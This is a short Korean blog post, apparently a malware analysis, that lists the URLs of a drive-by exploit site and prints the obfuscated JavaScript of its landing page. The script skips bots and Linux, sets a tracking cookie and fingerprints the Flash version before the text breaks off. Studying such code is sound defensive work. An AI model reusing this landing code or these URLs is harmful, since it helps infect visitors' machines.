최근 경향은 대부분 자바 취약점이네요. 간단하게 한번 디코딩 하여 살펴보았습니다. http://5b8.co/m L http://5b8.co/m/index.html L http://5b8.co/m/swfobject.js L http://5b8.co/m/jpg.js L http://5b8.co/m/jvTDIYE7.html L http://5b8.co/m/GAHNr0.html 원본 코드는 아래와 같습니다. <script type="text/javascript" src="swfobject.js"></script> <script src=jpg.js></script> <script type="text/javascript"> var YdgJw3=navigator.userAgent.toLowerCase(); var SPRB3="1"+"1"+"1"; if(document.cookie.indexOf("xcDHL4=")==-1 && YdgJw3.indexOf("linux")<=-1 && YdgJw3.indexOf("bot")==-1 && YdgJw3.indexOf("spider")==-1) { var pxtXtt1=deconcept.SWFObjectUtil.getPlayerVersion(); var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); SPRB3="0"; document.cookie="xcDHL4=Yes;path=/;expires="+expires.toGMTString(); FTYdkdd0="1";delete FTYdkdd0;try{FTYdkdd0+="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0";}catch(e){var Huaqmm1="1";XtpkDF6 …